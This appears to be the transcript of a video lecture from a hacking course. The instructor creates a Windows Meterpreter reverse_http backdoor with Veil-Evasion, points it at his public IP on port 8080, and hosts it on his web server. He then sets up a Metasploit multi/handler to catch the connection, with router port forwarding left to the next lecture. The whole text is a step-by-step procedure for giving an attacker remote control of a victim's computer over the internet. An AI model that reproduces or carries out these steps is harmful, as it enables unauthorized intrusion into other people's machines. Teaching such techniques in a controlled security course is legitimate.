Educator: Okay,
so now let's go ahead.
Let's create a backdoor,
and the only difference is we're gonna set the IP
to the public IP instead of the local IP,
so we're gonna create a backdoor exactly the same
way that we used to create it when we're hacking
devices in the same network.
So I'm gonna use Veil-Evasion and I'm gonna do
this a bit quickly because we've done it
and there's nothing new with this,
so we can List to see what we have.
I'm gonna use number 9 so it's the exact same
payload that we used in our previous video.
It's the reverse http payload.
So we're gonna use 9,
and we can see the options here.
We can see that the LPORT is set to 8080 by default
and I'm gonna keep that the same.
The only thing that I'm gonna change is the LHOST,
and in the previous videos when we were receiving
connections on our own computer,
we used to set it to the local IP,
so if I do ifconfig wlan0,
we used to set it to 192.168.0.1 because that's
the IP that the devices use inside the network.
Well whenever you want to do things on the outside,
we wanna use the real IP because these internal IPs
are not visible to computers outside the network.
So I'm gonna use the IP that I see on Google,
so when I type in 'what's my ip',
I get this IP and I'm gonna use that as the
LHOST in my backdoor,
so I'm just gonna copy this
and I'm gonna set it here.
And sorry I didn't paste it properly,
so set.
Hit 'info' to make sure everything is set up properly,
so PORT 8080 we're using the public IP,
so this is the most important step in this,
and then we're gonna do 'generate'.
And we're just gonna call this 'backdoordirty.exe'.
You're gonna hit Enter.
And that has generated my payload for me,
so it's stored in here.
So again,
as usual I'm actually gonna copy this
and paste it in my var www html
and I'll show you how to actually even download
this from the internet from outside the network.
So I'm just gonna copy this to my web server directory.
Okay,
so that's all done.
Now all we have to do is just listen for
incoming connections.
We're gonna do that using the multi/handler,
so we've done that before again.
I'm just gonna do it real quick.
And when I'm gonna listen to the multi/handler,
I'm actually gonna listen on my local IP,
so I'm not gonna listen on the external,
I'm gonna listen on the local because I can't
listen on the external.
I'm actually in the network and I only have
control over my current computer.
So what I'm gonna do now is in here,
in the Kali machine I'm gonna listen on PORT 8080,
and in the external device the backdoor will
try to connect to the backdoor,
so the step after that we'll set up IP forwarding
to allow to tell the router to forward PORTs 8080
to the Kali machine,
but first we need to listen on
PORT 8080 in the Kali machine,
and we're gonna do that using the multi/handler.
So I'm just gonna do msfconsole.
Again,
we did this before so I'm gonna do it a little bit quickly.
So I'm gonna 'use exploit/multi/handler'.
I'm gonna set the payload to
windows/meterpreter/reverse_http.
Then we're gonna set the LPORT to 8080,
so that's the port that we're gonna get connections on,
and then I'm gonna set the LHOST,
the listening host,
to my private IP as I said before,
so I'm gonna do
'set LHOST
to 192.168.0.11'.
Now I'm gonna do 'show options' to make sure
everything is done properly,
and we can see that we have the LPORT is set to 8080
and the local host is set to 192.168.0.11
and we're using a payload of
windows/meterpreter/reverse_http.
So it's all good.
I'm gonna do 'exploit'.
As you can see here,
it's listening on my private IP
and it's listening on PORT 8080.
So now we did the two main steps:
we created a backdoor,
and the backdoor will give us connections back
based on the real IP address,
and we're listening on our local machine.
We're listening on PORT 8080 in the Kali machine.
So when the target person runs the backdoor
on the internet they're gonna get,
the backdoor will try to connect
to this IP on PORT 8080.
The only problem now is the Gateway,
which is the router right here.
It doesn't have PORT 8080 open,
so it's gonna receive the connection.
It's not gonna know what to do with it,
so we actually need to configure
the router to tell it whenever you get something,
whenever you get a connection on PORT 8080,
I want you to redirect it to my Kali machine.
And we can do that in two ways,
and we're gonna talk about them in the next lecture.